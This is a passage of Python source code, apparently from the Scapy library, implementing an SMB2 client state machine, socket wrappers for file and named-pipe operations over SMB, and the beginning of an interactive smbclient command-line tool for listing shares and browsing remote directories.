       # was established by a guest user, Session.SigningRequired\n                        # MUST be set to FALSE and Session.IsGuest MUST be set to TRUE.\"\n                        self.session.IsGuest = True\n                        self.session.SigningRequired = False\n                    elif self.session.Dialect >= 0x0300:\n                        if pkt.SessionFlags.ENCRYPT_DATA or self.REQUIRE_ENCRYPTION:\n                            self.session.EncryptData = True\n                            self.session.SigningRequired = False\n                raise self.AUTHENTICATED(pkt.SecurityBlob)\n            else:\n                if SMB2_Header in pkt:\n                    # If required, compute sessions\n                    self.session.computeSMBSessionPreauth(\n                        bytes(pkt[SMB2_Header]),  # session response\n                    )\n                # Ongoing auth\n                raise self.NEGOTIATED(pkt.SecurityBlob)\n        elif SMBSession_Setup_AndX_Response_Extended_Security in pkt:\n            # SMB1 non-extended\n            pass\n        elif SMB2_Error_Response in pkt:\n            # Authentication failure\n            self.session.sspcontext.clifailure()\n            # Reset Session preauth (SMB 3.1.1)\n            self.session.SessionPreauthIntegrityHashValue = None\n            if not self.RETRY:\n                raise self.AUTH_FAILED()\n            self.debug(lvl=2, msg=\"RETRY: %s\" % self.RETRY)\n            self.RETRY -= 1\n            raise self.NEGOTIATED()\n\n    @ATMT.state(final=1)\n    def AUTH_FAILED(self):\n        self.smb_sock_ready.set()\n\n    @ATMT.state()\n    def AUTHENTICATED(self, ssp_blob=None):\n        self.session.sspcontext, _, status = self.session.ssp.GSS_Init_sec_context(\n            self.session.sspcontext,\n            input_token=ssp_blob,\n            target_name=\"cifs/\" + self.HOST if self.HOST else None,\n        )\n        if status != GSS_S_COMPLETE:\n            raise ValueError(\"Internal error: the SSP completed with an error.\")\n        # Authentication was successful\n        self.session.computeSMBSessionKeys(IsClient=True)\n\n    # DEV: add a condition on AUTHENTICATED with prio=0\n\n    @ATMT.condition(AUTHENTICATED, prio=1)\n    def authenticated_post_actions(self):\n        raise self.SOCKET_BIND()\n\n    # Plain SMB Socket\n\n    @ATMT.state()\n    def SOCKET_BIND(self):\n        self.smb_sock_ready.set()\n\n    @ATMT.condition(SOCKET_BIND)\n    def start_smb_socket(self):\n        raise self.SOCKET_MODE_SMB()\n\n    @ATMT.state()\n    def SOCKET_MODE_SMB(self):\n        pass\n\n    @ATMT.receive_condition(SOCKET_MODE_SMB)\n    def incoming_data_received_smb(self, pkt):\n        raise self.SOCKET_MODE_SMB().action_parameters(pkt)\n\n    @ATMT.action(incoming_data_received_smb)\n    def receive_data_smb(self, pkt):\n        resp = pkt[SMB2_Header].payload\n        if isinstance(resp, SMB2_Error_Response):\n            if pkt.Status == 0x00000103:  # STATUS_PENDING\n                # answer is coming later.. just wait...\n                return\n            if pkt.Status == 0x0000010B:  # STATUS_NOTIFY_CLEANUP\n                # this is a notify cleanup. ignore\n                return\n        self.update_smbheader(pkt)\n        # Add the status to the response as metadata\n        resp.NTStatus = pkt.sprintf(\"%SMB2_Header.Status%\")\n        self.oi.smbpipe.send(resp)\n\n    @ATMT.ioevent(SOCKET_MODE_SMB, name=\"smbpipe\", as_supersocket=\"smblink\")\n    def outgoing_data_received_smb(self, fd):\n        raise self.SOCKET_MODE_SMB().action_parameters(fd.recv())\n\n    @ATMT.action(outgoing_data_received_smb)\n    def send_data(self, d):\n        self.send(self.smb_header.copy() / d)\n\n\nclass SMB_SOCKET(SuperSocket):\n    \"\"\"\n    Mid-level wrapper over SMB_Client.smblink that provides some basic SMB\n    client functions, such as tree connect, directory query, etc.\n    \"\"\"\n\n    def __init__(self, smbsock, use_ioctl=True, timeout=3):\n        self.ins = smbsock\n        self.timeout = timeout\n        if not self.ins.atmt.smb_sock_ready.wait(timeout=timeout):\n            # If we have a SSP, tell it we failed.\n            if self.session.sspcontext:\n                self.session.sspcontext.clifailure()\n            raise TimeoutError(\n                \"The SMB handshake timed out ! (enable debug=1 for logs)\"\n            )\n        if self.ins.atmt.ErrorStatus:\n            raise Scapy_Exception(\n                \"SMB Session Setup failed: %s\" % self.ins.atmt.ErrorStatus\n            )\n\n    @classmethod\n    def from_tcpsock(cls, sock, **kwargs):\n        \"\"\"\n        Wraps the tcp socket in a SMB_Client.smblink first, then into the\n        SMB_SOCKET/SMB_RPC_SOCKET\n        \"\"\"\n        return cls(\n            use_ioctl=kwargs.pop(\"use_ioctl\", True),\n            timeout=kwargs.pop(\"timeout\", 3),\n            smbsock=SMB_Client.from_tcpsock(sock, **kwargs),\n        )\n\n    @property\n    def session(self):\n        return self.ins.atmt.session\n\n    def set_TID(self, TID):\n        \"\"\"\n        Set the TID (Tree ID).\n        This can be called before sending a packet\n        \"\"\"\n        self.ins.atmt.smb_header.TID = TID\n\n    def get_TID(self):\n        \"\"\"\n        Get the current TID from the underlying socket\n        \"\"\"\n        return self.ins.atmt.smb_header.TID\n\n    def tree_connect(self, name):\n        \"\"\"\n        Send a TreeConnect request\n        \"\"\"\n        resp = self.ins.sr1(\n            SMB2_Tree_Connect_Request(\n                Buffer=[\n                    (\n                        \"Path\",\n                        \"\\\\\\\\%s\\\\%s\"\n                        % (\n                            self.session.sspcontext.ServerHostname,\n                            name,\n                        ),\n                    )\n                ]\n            ),\n            verbose=False,\n            timeout=self.timeout,\n        )\n        if not resp:\n            raise ValueError(\"TreeConnect timed out !\")\n        if SMB2_Tree_Connect_Response not in resp:\n            raise ValueError(\"Failed TreeConnect ! %s\" % resp.NTStatus)\n        # [MS-SMB2] sect 3.2.5.5\n        if self.session.Dialect >= 0x0300:\n            if resp.ShareFlags.ENCRYPT_DATA and self.session.SupportsEncryption:\n                self.session.TreeEncryptData = True\n            else:\n                self.session.TreeEncryptData = False\n        return self.get_TID()\n\n    def tree_disconnect(self):\n        \"\"\"\n        Send a TreeDisconnect request\n        \"\"\"\n        resp = self.ins.sr1(\n            SMB2_Tree_Disconnect_Request(),\n            verbose=False,\n            timeout=self.timeout,\n        )\n        if not resp:\n            raise ValueError(\"TreeDisconnect timed out !\")\n        if SMB2_Tree_Disconnect_Response not in resp:\n            raise ValueError(\"Failed TreeDisconnect ! %s\" % resp.NTStatus)\n\n    def create_request(\n        self,\n        name,\n        mode=\"r\",\n        type=\"pipe\",\n        extra_create_options=[],\n        extra_desired_access=[],\n    ):\n        \"\"\"\n        Open a file/pipe by its name\n\n        :param name: the name of the file or named pipe. e.g. 'srvsvc'\n        \"\"\"\n        ShareAccess = []\n        DesiredAccess = []\n        # Common params depending on the access\n        if \"r\" in mode:\n            ShareAccess.append(\"FILE_SHARE_READ\")\n            DesiredAccess.extend([\"FILE_READ_DATA\", \"FILE_READ_ATTRIBUTES\"])\n        if \"w\" in mode:\n            ShareAccess.append(\"FILE_SHARE_WRITE\")\n            DesiredAccess.extend([\"FILE_WRITE_DATA\", \"FILE_WRITE_ATTRIBUTES\"])\n        if \"d\" in mode:\n            ShareAccess.append(\"FILE_SHARE_DELETE\")\n        # Params depending on the type\n        FileAttributes = []\n        CreateOptions = []\n        CreateContexts = []\n        CreateDisposition = \"FILE_OPEN\"\n        if type == \"folder\":\n            FileAttributes.append(\"FILE_ATTRIBUTE_DIRECTORY\")\n            CreateOptions.append(\"FILE_DIRECTORY_FILE\")\n        elif type in [\"file\", \"pipe\"]:\n            CreateOptions = [\"FILE_NON_DIRECTORY_FILE\"]\n            if \"r\" in mode:\n                DesiredAccess.extend([\"FILE_READ_EA\", \"READ_CONTROL\", \"SYNCHRONIZE\"])\n            if \"w\" in mode:\n                CreateDisposition = \"FILE_OVERWRITE_IF\"\n                DesiredAccess.append(\"FILE_WRITE_EA\")\n            if \"d\" in mode:\n                DesiredAccess.append(\"DELETE\")\n                CreateOptions.append(\"FILE_DELETE_ON_CLOSE\")\n            if type == \"file\":\n                FileAttributes.append(\"FILE_ATTRIBUTE_NORMAL\")\n        elif type:\n            raise ValueError(\"Unknown type: %s\" % type)\n        # [MS-SMB2] 3.2.4.3.8\n        RequestedOplockLevel = 0\n        if self.session.Dialect >= 0x0300:\n            RequestedOplockLevel = \"SMB2_OPLOCK_LEVEL_LEASE\"\n        elif self.session.Dialect >= 0x0210 and type == \"file\":\n            RequestedOplockLevel = \"SMB2_OPLOCK_LEVEL_LEASE\"\n        # SMB 3.X\n        if self.session.Dialect >= 0x0300 and type in [\"file\", \"folder\"]:\n            CreateContexts.extend(\n                [\n                    # [SMB2] sect 3.2.4.3.5\n                    SMB2_Create_Context(\n                        Name=b\"DH2Q\",\n                        Data=SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2(\n                            CreateGuid=RandUUID()._fix()\n                        ),\n                    ),\n                    # [SMB2] sect 3.2.4.3.9\n                    SMB2_Create_Context(\n                        Name=b\"MxAc\",\n                    ),\n                    # [SMB2] sect 3.2.4.3.10\n                    SMB2_Create_Context(\n                        Name=b\"QFid\",\n                    ),\n                    # [SMB2] sect 3.2.4.3.8\n                    SMB2_Create_Context(\n                        Name=b\"RqLs\",\n                        Data=SMB2_CREATE_REQUEST_LEASE_V2(LeaseKey=RandUUID()._fix()),\n                    ),\n                ]\n            )\n        elif self.session.Dialect == 0x0210 and type == \"file\":\n            CreateContexts.extend(\n                [\n                    # [SMB2] sect 3.2.4.3.8\n                    SMB2_Create_Context(\n                        Name=b\"RqLs\",\n                        Data=SMB2_CREATE_REQUEST_LEASE(LeaseKey=RandUUID()._fix()),\n                    ),\n                ]\n            )\n        # Extra options\n        if extra_create_options:\n            CreateOptions.extend(extra_create_options)\n        if extra_desired_access:\n            DesiredAccess.extend(extra_desired_access)\n        # Request\n        resp = self.ins.sr1(\n            SMB2_Create_Request(\n                ImpersonationLevel=\"Impersonation\",\n                DesiredAccess=\"+\".join(DesiredAccess),\n                CreateDisposition=CreateDisposition,\n                CreateOptions=\"+\".join(CreateOptions),\n                ShareAccess=\"+\".join(ShareAccess),\n                FileAttributes=\"+\".join(FileAttributes),\n                CreateContexts=CreateContexts,\n                RequestedOplockLevel=RequestedOplockLevel,\n                Name=name,\n            ),\n            verbose=0,\n            timeout=self.timeout,\n        )\n        if not resp:\n            raise ValueError(\"CreateRequest timed out !\")\n        if SMB2_Create_Response not in resp:\n            raise ValueError(\"Failed CreateRequest ! %s\" % resp.NTStatus)\n        return resp[SMB2_Create_Response].FileId\n\n    def close_request(self, FileId):\n        \"\"\"\n        Close the FileId\n        \"\"\"\n        pkt = SMB2_Close_Request(FileId=FileId)\n        resp = self.ins.sr1(pkt, verbose=0, timeout=self.timeout)\n        if not resp:\n            raise ValueError(\"CloseRequest timed out !\")\n        if SMB2_Close_Response not in resp:\n            raise ValueError(\"Failed CloseRequest ! %s\" % resp.NTStatus)\n\n    def read_request(self, FileId, Length, Offset=0):\n        \"\"\"\n        Read request\n        \"\"\"\n        resp = self.ins.sr1(\n            SMB2_Read_Request(\n                FileId=FileId,\n                Length=Length,\n                Offset=Offset,\n            ),\n            verbose=0,\n            timeout=self.timeout * 10,\n        )\n        if not resp:\n            raise ValueError(\"ReadRequest timed out !\")\n        if SMB2_Read_Response not in resp:\n            raise ValueError(\"Failed ReadRequest ! %s\" % resp.NTStatus)\n        return resp.Data\n\n    def write_request(self, Data, FileId, Offset=0):\n        \"\"\"\n        Write request\n        \"\"\"\n        resp = self.ins.sr1(\n            SMB2_Write_Request(\n                FileId=FileId,\n                Data=Data,\n                Offset=Offset,\n            ),\n            verbose=0,\n            timeout=self.timeout * 10,\n        )\n        if not resp:\n            raise ValueError(\"WriteRequest timed out !\")\n        if SMB2_Write_Response not in resp:\n            raise ValueError(\"Failed WriteRequest ! %s\" % resp.NTStatus)\n        return resp.Count\n\n    def query_directory(self, FileId, FileName=\"*\"):\n        \"\"\"\n        Query the Directory with FileId\n        \"\"\"\n        results = []\n        Flags = \"SMB2_RESTART_SCANS\"\n        while True:\n            pkt = SMB2_Query_Directory_Request(\n                FileInformationClass=\"FileIdBothDirectoryInformation\",\n                FileId=FileId,\n                FileName=FileName,\n                Flags=Flags,\n            )\n            resp = self.ins.sr1(pkt, verbose=0, timeout=self.timeout)\n            Flags = 0  # only the first one is RESTART_SCANS\n            if not resp:\n                raise ValueError(\"QueryDirectory timed out !\")\n            if SMB2_Error_Response in resp:\n                break\n            elif SMB2_Query_Directory_Response not in resp:\n                raise ValueError(\"Failed QueryDirectory ! %s\" % resp.NTStatus)\n            res = FileIdBothDirectoryInformation(resp.Output)\n            results.extend(\n                [\n                    (\n                        x.FileName,\n                        x.FileAttributes,\n                        x.EndOfFile,\n                        x.LastWriteTime,\n                    )\n                    for x in res.files\n                ]\n            )\n        return results\n\n    def query_info(self, FileId, InfoType, FileInfoClass, AdditionalInformation=0):\n        \"\"\"\n        Query the Info\n        \"\"\"\n        pkt = SMB2_Query_Info_Request(\n            InfoType=InfoType,\n            FileInfoClass=FileInfoClass,\n            OutputBufferLength=65535,\n            FileId=FileId,\n            AdditionalInformation=AdditionalInformation,\n        )\n        resp = self.ins.sr1(pkt, verbose=0, timeout=self.timeout)\n        if not resp:\n            raise ValueError(\"QueryInfo timed out !\")\n        if SMB2_Query_Info_Response not in resp:\n            raise ValueError(\"Failed QueryInfo ! %s\" % resp.NTStatus)\n        return resp.Output\n\n    def changenotify(self, FileId):\n        \"\"\"\n        Register change notify\n        \"\"\"\n        pkt = SMB2_Change_Notify_Request(\n            Flags=\"SMB2_WATCH_TREE\",\n            OutputBufferLength=65535,\n            FileId=FileId,\n            CompletionFilter=0x0FFF,\n        )\n        # we can wait forever, not a problem in this one\n        resp = self.ins.sr1(pkt, verbose=0, chainCC=True)\n        if SMB2_Change_Notify_Response not in resp:\n            raise ValueError(\"Failed ChangeNotify ! %s\" % resp.NTStatus)\n        return resp.Output\n\n\nclass SMB_RPC_SOCKET(ObjectPipe, SMB_SOCKET):\n    \"\"\"\n    Extends SMB_SOCKET (which is a wrapper over SMB_Client.smblink) to send\n    DCE/RPC messages (bind, reqs, etc.)\n\n    This is usable as a normal SuperSocket (sr1, etc.) and performs the\n    wrapping of the DCE/RPC messages into SMB2_Write/Read packets.\n    \"\"\"\n\n    def __init__(self, smbsock, use_ioctl=True, timeout=3):\n        self.use_ioctl = use_ioctl\n        ObjectPipe.__init__(self, \"SMB_RPC_SOCKET\")\n        SMB_SOCKET.__init__(self, smbsock, timeout=timeout)\n\n    def open_pipe(self, name):\n        self.PipeFileId = self.create_request(name, mode=\"rw\", type=\"pipe\")\n\n    def close_pipe(self):\n        self.close_request(self.PipeFileId)\n        self.PipeFileId = None\n\n    def send(self, x):\n        \"\"\"\n        Internal ObjectPipe function.\n        \"\"\"\n        # Reminder: this class is an ObjectPipe, it's just a queue.\n\n        # Detect if DCE/RPC is fragmented. Then we must use Read/Write\n        is_frag = x.pfc_flags & 3 != 3\n\n        if self.use_ioctl and not is_frag and self.session.Dialect >= 0x0210:\n            # Use IOCTLRequest\n            pkt = SMB2_IOCTL_Request(\n                FileId=self.PipeFileId,\n                Flags=\"SMB2_0_IOCTL_IS_FSCTL\",\n                CtlCode=\"FSCTL_PIPE_TRANSCEIVE\",\n            )\n            pkt.Input = bytes(x)\n            resp = self.ins.sr1(pkt, verbose=0)\n            if SMB2_IOCTL_Response not in resp:\n                raise ValueError(\"Failed reading IOCTL_Response ! %s\" % resp.NTStatus)\n            data = bytes(resp.Output)\n            super(SMB_RPC_SOCKET, self).send(data)\n            # Handle BUFFER_OVERFLOW (big DCE/RPC response)\n            while resp.NTStatus == \"STATUS_BUFFER_OVERFLOW\" or data[3] & 2 != 2:\n                # Retrieve DCE/RPC full size\n                resp = self.ins.sr1(\n                    SMB2_Read_Request(\n                        FileId=self.PipeFileId,\n                    ),\n                    verbose=0,\n                )\n                data = resp.Data\n                super(SMB_RPC_SOCKET, self).send(data)\n        else:\n            # Use WriteRequest/ReadRequest\n            pkt = SMB2_Write_Request(\n                FileId=self.PipeFileId,\n            )\n            pkt.Data = bytes(x)\n            # We send the Write Request\n            resp = self.ins.sr1(pkt, verbose=0)\n            if SMB2_Write_Response not in resp:\n                raise ValueError(\"Failed sending WriteResponse ! %s\" % resp.NTStatus)\n            # If fragmented, only read if it's the last.\n            if is_frag and not x.pfc_flags.PFC_LAST_FRAG:\n                return\n            # We send a Read Request afterwards\n            resp = self.ins.sr1(\n                SMB2_Read_Request(\n                    FileId=self.PipeFileId,\n                ),\n                verbose=0,\n            )\n            if SMB2_Read_Response not in resp:\n                raise ValueError(\"Failed reading ReadResponse ! %s\" % resp.NTStatus)\n            super(SMB_RPC_SOCKET, self).send(resp.Data)\n            # Handle fragmented response\n            while resp.Data[3] & 2 != 2:  # PFC_LAST_FRAG not set\n                # Retrieve DCE/RPC full size\n                resp = self.ins.sr1(\n                    SMB2_Read_Request(\n                        FileId=self.PipeFileId,\n                    ),\n                    verbose=0,\n                )\n                super(SMB_RPC_SOCKET, self).send(resp.Data)\n\n    def close(self):\n        SMB_SOCKET.close(self)\n        ObjectPipe.close(self)\n\n\n@conf.commands.register\nclass smbclient(CLIUtil):\n    r\"\"\"\n    A simple SMB client CLI powered by Scapy\n\n    :param target: can be a hostname, the IPv4 or the IPv6 to connect to\n    :param UPN: the upn to use (DOMAIN/USER, DOMAIN\\USER, USER@DOMAIN or USER)\n    :param guest: use guest mode (over NTLM)\n    :param ssp: if provided, use this SSP for auth.\n    :param kerberos_required: require kerberos\n    :param port: the TCP port. default 445\n    :param password: if provided, used for auth\n    :param HashNt: if provided, used for auth (NTLM)\n    :param HashAes256Sha96: if provided, used for auth (Kerberos)\n    :param HashAes128Sha96: if provided, used for auth (Kerberos)\n    :param ST: if provided, the service ticket to use (Kerberos)\n    :param KEY: if provided, the session key associated to the ticket (Kerberos)\n    :param cli: CLI mode (default True). False to use for scripting\n\n    Some additional SMB parameters are available under help(SMB_Client). Some of\n    them include the following:\n\n    :param REQUIRE_ENCRYPTION: requires encryption.\n    \"\"\"\n\n    def __init__(\n        self,\n        target: str,\n        UPN: str = None,\n        password: str = None,\n        guest: bool = False,\n        kerberos_required: bool = False,\n        HashNt: bytes = None,\n        HashAes256Sha96: bytes = None,\n        HashAes128Sha96: bytes = None,\n        use_krb5ccname: bool = False,\n        port: int = 445,\n        timeout: int = 5,\n        debug: int = 0,\n        ssp=None,\n        ST=None,\n        KEY=None,\n        cli=True,\n        # SMB arguments\n        REQUIRE_ENCRYPTION=False,\n        **kwargs,\n    ):\n        if cli:\n            self._depcheck()\n        assert UPN or ssp or guest, \"Either UPN, ssp or guest must be provided !\"\n        # Do we need to build a SSP?\n        if ssp is None:\n            # Create the SSP (only if not guest mode)\n            if not guest:\n                ssp = SPNEGOSSP.from_cli_arguments(\n                    UPN=UPN,\n                    target=target,\n                    password=password,\n                    HashNt=HashNt,\n                    HashAes256Sha96=HashAes256Sha96,\n                    HashAes128Sha96=HashAes128Sha96,\n                    ST=ST,\n                    KEY=KEY,\n                    kerberos_required=kerberos_required,\n                    use_krb5ccname=use_krb5ccname,\n                )\n            else:\n                # Guest mode\n                ssp = None\n        # Check if target is IPv4 or IPv6\n        if \":\" in target:\n            family = socket.AF_INET6\n        else:\n            family = socket.AF_INET\n        # Open socket\n        sock = socket.socket(family, socket.SOCK_STREAM)\n        # Configure socket for SMB:\n        # - TCP KEEPALIVE, TCP_KEEPIDLE and TCP_KEEPINTVL. Against a Windows server this\n        #   isn't necessary, but samba kills the socket VERY fast otherwise.\n        # - set TCP_NODELAY to disable Nagle's algorithm (we're streaming data)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 10)\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10)\n        # Timeout & connect\n        sock.settimeout(timeout)\n        if debug:\n            print(\"Connecting to %s:%s\" % (target, port))\n        sock.connect((target, port))\n        self.extra_create_options = []\n        # Wrap with the automaton\n        self.timeout = timeout\n        kwargs.setdefault(\"HOST\", target)\n        self.sock = SMB_Client.from_tcpsock(\n            sock,\n            ssp=ssp,\n            debug=debug,\n            REQUIRE_ENCRYPTION=REQUIRE_ENCRYPTION,\n            timeout=timeout,\n            **kwargs,\n        )\n        try:\n            # Wrap with SMB_SOCKET\n            self.smbsock = SMB_SOCKET(self.sock, timeout=self.timeout)\n            # Wait for either the atmt to fail, or the smb_sock_ready to timeout\n            _t = time.time()\n            while True:\n                if self.sock.atmt.smb_sock_ready.is_set():\n                    # yay\n                    break\n                if not self.sock.atmt.isrunning():\n                    status = self.sock.atmt.get(\"Status\")\n                    raise Scapy_Exception(\n                        \"%s with status %s\"\n                        % (\n                            self.sock.atmt.state.state,\n                            STATUS_ERREF.get(status, hex(status)),\n                        )\n                    )\n                if time.time() - _t > timeout:\n                    self.sock.close()\n                    raise TimeoutError(\"The SMB handshake timed out.\")\n                time.sleep(0.1)\n        except Exception:\n            # Something bad happened, end the socket/automaton\n            self.sock.close()\n            raise\n\n        # For some usages, we will also need the RPC wrapper\n        from scapy.layers.msrpce.rpcclient import DCERPC_Client\n\n        self.rpcclient = DCERPC_Client.from_smblink(\n            self.sock,\n            ndr64=False,\n            verb=bool(debug),\n        )\n        # We have a valid smb connection !\n        print(\n            \"%s authentication successful using %s%s !\"\n            % (\n                SMB_DIALECTS.get(\n                    self.smbsock.session.Dialect,\n                    \"SMB %s\" % self.smbsock.session.Dialect,\n                ),\n                repr(self.smbsock.session.sspcontext),\n                \" as GUEST\" if self.smbsock.session.IsGuest else \"\",\n            )\n        )\n        # Now define some variables for our CLI\n        self.pwd = pathlib.PureWindowsPath(\"/\")\n        self.localpwd = pathlib.Path(\".\").resolve()\n        self.current_tree = None\n        self.ls_cache = {}  # cache the listing of the current directory\n        self.sh_cache = []  # cache the shares\n        # Start CLI\n        if cli:\n            self.loop(debug=debug)\n\n    def ps1(self):\n        return r\"smb: \\%s> \" % self.normalize_path(self.pwd)\n\n    def close(self):\n        print(\"Connection closed\")\n        self.smbsock.close()\n\n    def _require_share(self, silent=False):\n        if self.current_tree is None:\n            if not silent:\n                print(\"No share selected ! Try 'shares' then 'use'.\")\n            return True\n\n    def collapse_path(self, path):\n        # the amount of pathlib.wtf you need to do to resolve .. on all platforms\n        # is ridiculous\n        return pathlib.PureWindowsPath(os.path.normpath(path.as_posix()))\n\n    def normalize_path(self, path):\n        \"\"\"\n        Normalize path for CIFS usage\n        \"\"\"\n        return str(self.collapse_path(path)).lstrip(\"\\\\\")\n\n    @CLIUtil.addcommand()\n    def shares(self):\n        \"\"\"\n        List the shares available\n        \"\"\"\n        # Poll cache\n        if self.sh_cache:\n            return self.sh_cache\n        # It's an RPC\n        self.rpcclient.open_smbpipe(\"srvsvc\")\n        self.rpcclient.bind(find_dcerpc_interface(\"srvsvc\"))\n        req = NetrShareEnum_Request(\n            InfoStruct=LPSHARE_ENUM_STRUCT(\n                Level=1,\n                ShareInfo=NDRUnion(\n                    tag=1,\n                    value=SHARE_INFO_1_CONTAINER(Buffer=None),\n                ),\n            ),\n            PreferedMaximumLength=0xFFFFFFFF,\n            ndr64=self.rpcclient.ndr64,\n        )\n        resp = self.rpcclient.sr1_req(req, timeout=self.timeout)\n        self.rpcclient.close_smbpipe()\n        if resp.status != 0:\n            resp.show()\n            raise ValueError(\"NetrShareEnum_Request failed !\")\n        results = []\n        for share in resp.valueof(\"InfoStruct.ShareInfo.Buffer\"):\n            shi1_type = share.valueof(\"shi1_type\") & 0x0FFFFFFF\n            results.append(\n                (\n                    share.valueof(\"shi1_netname\").decode(),\n                    SRVSVC_SHARE_TYPES.get(shi1_type, shi1_type),\n                    share.valueof(\"shi1_remark\").decode(),\n                )\n            )\n        self.sh_cache = results  # cache\n        return results\n\n    @CLIUtil.addoutput(shares)\n    def shares_output(self, results):\n        \"\"\"\n        Print the output of 'shares'\n        \"\"\"\n        print(pretty_list(results, [(\"ShareName\", \"ShareType\", \"Comment\")]))\n\n    @CLIUtil.addcommand(mono=True)\n    def use(self, share):\n        \"\"\"\n        Open a share\n        \"\"\"\n        self.current_tree = self.smbsock.tree_connect(share)\n        self.pwd = pathlib.PureWindowsPath(\"/\")\n        self.ls_cache.clear()\n\n    @CLIUtil.addcomplete(use)\n    def use_complete(self, share):\n        \"\"\"\n        Auto-complete 'use'\n        \"\"\"\n        return [\n            x[0] for x in self.shares() if x[0].startswith(share) and x[0] != \"IPC$\"\n        ]\n\n    def _parsepath(self, arg, remote=True):\n        \"\"\"\n        Parse a path. Returns the parent folder and file name\n        \"\"\"\n        # Find parent directory if it exists\n        elt = (pathlib.PureWindowsPath if remote else pathlib.Path)(arg)\n        eltpar = (pathlib.PureWindowsPath if remote else pathlib.Path)(\".\")\n        eltname = elt.name\n        if arg.endswith(\"/\") or arg.endswith(\"\\\\\"):\n            eltpar = elt\n            eltname = \"\"\n        elif elt.parent and elt.parent.name or elt.is_absolute():\n            eltpar = elt.parent\n        return eltpar, eltname\n\n    def _fs_complete(self, arg, cond=None):\n        \"\"\"\n        Return a listing of the remote files for completion purposes\n        \"\"\"\n        if cond is None:\n            cond = lambda _: True\n        eltpar, eltname = self._parsepath(arg)\n        # ls in that directory\n        try:\n            files = self.ls(parent=eltpar)\n        except ValueError:\n            return []\n        return [\n            str(eltpar / x[0])\n            for x in files\n            if (\n                x[0].lower().startswith(eltname.lower())\n                and x[0] not in [\".\", \"..\"]\n                and cond(x[1])\n            )\n        ]\n\n    def _dir_complete(self, arg):\n        \"\"\"\n        Return a directories of remote files for completion purposes\n        \"\"\"\n        results = self._fs_complete(\n            arg,\n            cond=lambda x: x.FILE_ATTRIBUTE_DIRECTORY,\n        )\n        if len(results) == 1 and results[0].startswith(arg):\n            # skip through folders\n            return [results[0] + \"\\\\\"]\n        return results\n\n    @CLIUtil.addcommand(mono=True)\n    def ls(self, parent=None):\n        \"\"\"\n        List the files in the remote directory\n        -t: sort by timestamp\n        -S: sort by size\n        -r: reverse while sorting\n        \"\"\"\n        if self._require_share():\n            return\n        # Get pwd of the ls\n        pwd = self.pwd\n        if parent is not None:\n            pwd /= parent\n        pwd = self.normalize_path(pwd)\n        # Poll the cache\n        if self.ls_cache and pwd in self.ls_cache:\n            return self.ls_cache[pwd]\n        self.smbsock.set_TID(self.current_tree)\n        # Open folder\n        fileId = self.smbsock.create_request(\n            pwd,\n            type=\"folder\",\n            extra_create_options=self.extra_create_options,\n        )\n        # Query the folder\n        files = self.smbsock.query_directory(fileId)\n        # Close the folder\n        self.smbsock.close_request(fileId)\n        self.ls_cache[pwd] = files  # Store cache\n        return files\n\n    @CLIUtil.addoutput(ls)\n    def ls_output(self, results, *, t=False, S=False, r=False):\n        \"\"\"\n        Print the output of 'ls'\n        \"\"\"\n        fld = UTCTimeField(\n            \"\", None, fmt=\"<Q\", epoch=[1601, 1, 1, 0, 0, 0], custom_scaling=1e7\n        )\n        if t:\n            # Sort by time\n            results.sort(key=lambda x: -x[3])\n        if S:\n            # Sort by size\n            results.sort(key=lambda x: -x[2])\n        if r:\n            # Reverse sort\n            results = results[::-1]\n        results = [\n            (\n                x[0],\n                \"+\".join(y.lstrip(\"FILE_ATTRIBUTE_\") for y in str(x[1]).split(\"+\")),\n                human_size(x[2]),\n                fld.i2repr(None, x[3]),\n            )\n            for x in results\n        ]\n        print(\n            pretty_list(\n                results,\n                [(\"FileName\", \"FileAttributes\", \"EndOfFile\", \"LastWriteTime\")],\n                sortBy=None,\n            )\n        )\n\n    @CLIUtil.addcomplete(ls)\n    def ls_complete(self, folder):\n        \"\"\"\n        Auto-complete ls\n        \"\"\"\n        if self._require_share(silent=True):\n            return []\n        return self._dir_complete(folder)\n\n    @CLIUtil.addcommand(mono=True)\n    def cd(self, folder):\n        \"\"\"\n        Change the remote current directory\n        \"\"\"\n        if self._require_share():\n            return\n        if not folder:\n            # show mode\n            return str(self.pwd)\n        self.pwd /= folder\n        self.pwd = self.collapse_path(self.pwd)\n        self.ls_cache.clear()\n\n    @CLIUtil.addcomplete(cd)\n    def cd_complete(self, folder):\n        \"\"\"\n        Auto-complete cd\n        \"\"\"\n        if self._require_share(silent=True):\n            return []\n        return self._dir_complete(folder)\n\n    def _lfs_complete(self, arg, cond):\n        \"\"\"\n        Return a listing of local files for completion purposes\n        \"\"\"\n        eltpar, eltname = self._parsepath(arg, remote=False)\n        eltpar = self.localpwd / eltpar\n        return [\n            # trickery so that ../<TAB> works\n            str(eltpar / x.name)\n            for x in eltpar.resolve().glob(\"*\")\n            if (x.name.lower().startswith(eltname.lower()) and cond(x))\n        ]\n\n    @CLIUtil.addoutput(cd)\n    def cd_output(self, result):\n        \"\"\"\n        Print the output of 'cd'\n        \"\"\"\n        if result:\n            print(result)\n\n    @CLIUtil.addcommand()\n    def lls(self):\n        \"\"\"\n        List the files in the local directory\n        \"\"\"\n        return list(self.localpwd.glob(\"*\"))\n\n    @CLIUtil.addoutput(lls)\n    def lls_output(self, results):\n        \"\"\"\n        Print the output of 'lls'\n        \"\"\"\n        results = [\n            (\n                x.name,\n                human_size(stat.st_size),\n                time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(stat.st_mtime)),\n            )\n            for x, stat in ((x, x.stat()) for x in results)\n        ]\n        print(\n            pretty_list(results, [(\"FileName\", \"File Size\", \"Last Modification Time\")])\n        )\n\n    @CLIUtil.addcommand(mono=True)\n    def lcd(self, folder):\n        \"\"\"\n        Change the local current directory\n        \"\"\"\n        if not folder:\n            # show mode\n            return str(self.localpwd)\n        self.localpwd /= folder\n        self.localpwd = self.localpwd.resolve()\n\n    @CLIUtil.addcomplete(lcd)\n    def lcd_complete(self, folder):\n        \"\"\"\n        Auto-complete lcd\n        \"\"\"\n        return self._lfs_complete(folder, lambda x: x.is_dir())\n\n    @CLIUtil.addoutput(lcd)\n    def lcd_output(self, result):\n        \"\"\"\n        Print the output of 'lcd'\n        \"\"\"\n        if result:\n            print(result)\n\n    def 